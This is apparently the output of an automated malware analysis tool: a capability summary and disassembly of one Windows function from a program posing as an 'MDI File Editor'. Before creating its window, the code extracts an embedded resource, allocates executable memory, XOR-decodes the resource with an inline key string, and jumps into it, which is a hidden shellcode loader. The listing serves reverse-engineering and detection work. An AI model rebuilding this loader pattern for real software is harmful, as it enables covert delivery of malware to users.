Function at 0x140001660
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
mov r11, rsp
push rbp
push r12
push r13
push r15
sub rsp, 0x428
mov dword [rsp + 0x80], 0x50
mov dword [rsp + 0x84], 3
lea rax, [0x140001a70]
mov rbp, rcx
mov qword [0x14000c610], rcx
xor r13d, r13d
mov qword [r11 - 0x3b0], rcx
mov qword [r11 + 0x18], rsi
mov edx, 0x7f00
xor ecx, ecx
mov qword [r11 - 0x3c0], rax
mov qword [r11 + 0x20], rdi
mov r12d, r9d
mov dword [r11 - 0x3b8], r13d
mov dword [r11 - 0x3b4], r13d
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rsp + 0xa0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea r15, str.MyMDIWindow
mov qword [rsp + 0xa8], rax
lea rax, [0x1400044e4]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rsp + 0xb0], 0x11
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xb8], rax
call qword [sym.imp.USER32.dll_LoadIconA]
mov qword [rsp + 0x60], r13
mov qword [rsp + 0xc8], rax
lea rax, [0x140004530]
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x450], r13
mov qword [rsp + 0x108], 0x12a4
mov qword [rsp + 0x110], 0x409
mov qword [rsp + 0x100], rax
call fcn.140001290
lea r9, [rsp + 0x70]
lea r8d, [r13 + 3]
lea rdx, [rsp + 0x100]
lea rcx, [0x140000000]
call sub.ntdll.dll_LdrFindResource_U
mov rdx, qword [rsp + 0x70]
lea r9, [rsp + 0x450]
lea r8, [rsp + 0x68]
lea rcx, [0x140000000]
call sub.ntdll.dll_LdrAccessResource
lea r9, [rsp + 0x450]
lea rdx, [rsp + 0x60]
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
call sub.ntdll.dll_NtAllocateVirtualMemory
mov edi, r13d
mov rsi, r13
cmp qword [rsp + 0x450], r13
jbe 0x14000186a
mov qword [rsp + 0x458], rbx
mov qword [rsp + 0x420], r14
lea r14, str.xntN8kf_XCFo0lwry_Lb1RW_TP_uBiop_j85_pVZ__oq_9eABCCs2j6l
nop dword [rax + rax]
mov eax, 0x88888889
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, edi
imul edx, edx, 0x3c
sub eax, edx
movsxd rcx, eax
mov rax, qword [rsp + 0x68]
movzx ebx, byte [rcx + r14]
lea rcx, [0x14000453c]
xor bl, byte [rsi + rax]
call qword [sym.imp.MSVCR90.dll__wtoi]
mov rdx, rsi
movsxd rcx, eax
mov rax, qword [rsp + 0x60]
inc edi
sub rdx, rcx
inc rsi
mov byte [rdx + rax], bl
movsxd rax, edi
cmp rax, qword [rsp + 0x450]
jb 0x140001800
mov r14, qword [rsp + 0x420]
mov rbx, qword [rsp + 0x458]
call qword [rsp + 0x60]
lea rcx, [rsp + 0x80]
mov qword [0x14000c628], rax
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rdi, qword [rsp + 0x468]
mov rsi, qword [rsp + 0x460]
test ax, ax
jne 0x1400018c6
lea r8, str.Oh_Oh...
lea rdx, str.Could_Not_Register_Window
mov r9d, 0x30
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
or eax, 0xffffffff
add rsp, 0x428
pop r15
pop r13
pop r12
pop rbp
ret
lea rax, [0x140002130]
lea rcx, [rsp + 0x80]
mov qword [rsp + 0xb8], r13
mov qword [rsp + 0x88], rax
lea rax, str.MyMDIChild
mov qword [rsp + 0xb0], 0x10
mov qword [rsp + 0xc0], rax
call qword [sym.imp.USER32.dll_RegisterClassExA]
test ax, ax
jne 0x140001939
lea r8, str.Oh_Oh...
lea rdx, str.Could_Not_Register_Child_Window
mov r9d, 0x30
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
or eax, 0xffffffff
add rsp, 0x428
pop r15
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 0x80000000
mov dword [rsp + 0x30], 0x80000000
lea r8, str.MDI_File_Editor
mov r9d, 0x2cf0000
mov rdx, r15
mov ecx, 0x40000
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x14000c608], rax
test rax, rax
jne 0x1400019c0
lea r9d, [rax + 0x30]
lea r8, str.Oh_Oh...
lea rdx, str.No_Window
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
or eax, 0xffffffff
add rsp, 0x428
pop r15
pop r13
pop r12
pop rbp
ret
mov edx, r12d
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14000c608]
call qword [sym.imp.USER32.dll_UpdateWindow]
lea rcx, [rsp + 0xd0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x140001a4f
nop word [rax + rax]
mov rcx, qword [0x14000c600]
lea rdx, [rsp + 0xd0]
call qword [sym.imp.USER32.dll_TranslateMDISysAccel]
test eax, eax
jne 0x140001a35
lea rcx, [rsp + 0xd0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
lea rcx, [rsp + 0xd0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x140001a00
mov eax, dword [rsp + 0xe0]
add rsp, 0x428
pop r15
pop r13
pop r12
pop rbp
ret